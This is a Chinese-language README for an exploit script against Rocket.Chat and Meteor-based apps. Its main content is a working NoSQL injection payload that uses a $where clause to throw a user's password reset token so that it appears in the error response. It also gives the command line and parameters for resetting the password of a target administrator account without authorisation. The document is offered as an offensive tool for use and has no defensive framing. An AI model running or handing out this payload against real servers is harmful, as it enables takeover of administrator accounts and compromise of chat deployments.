一个针对 Rocket.Chat(及基于 Meteor 的应用程序)的自动利用脚本,利用 NoSQL 注入 通过 $where 子句中的服务器端异常泄露密码重置令牌。一旦令牌泄露,脚本将执行未经身份验证的密码重置。
身份验证:脚本以标准用户身份认证,以访问 /api/v1/users.list 端点。
NoSQL 注入:它使用 query 参数注入 $where JavaScript 子句。
数据窃取:通过在注入中使用 throw 语句,强制服务器返回包含目标用户密码重置令牌的“未捕获异常”错误。
账户接管:脚本使用泄露的令牌调用 resetPassword,更改目标账户的密码。
Python 3.x
requests 库
Bash
pip install requests
Bash
python3 exploit.py --url http://<TARGET_IP>:3000\
-u <YOUR_USER>\
-p <YOUR_PASS>\
-a <TARGET_ADMIN_USER>\
-ap <NEW_ADMIN_PASSWORD>
利用的核心是注入字符串:
JavaScript
{"$where":"this.username==='admin' && (()=>{ throw this.services.password.reset.token })()"}
当服务器处理该请求时,数据库引擎执行匿名函数,在 throw 处崩溃,应用程序捕获异常,无意中将 secret 令牌返回给用户(包含在 JSON 错误响应中)。
| 参数 | 长标志 | 描述 |
|---|
-u | --user | 你的有效用户名或邮箱,用于初始认证。 |
-p | --password | 你的有效密码。 |
-a | --admin | 你想要重置密码的账户用户名。 |
-ap | --admin-pass | 要为管理员账户设置的新密码。 |
--url | Rocket.Chat 实例的基础 URL。 |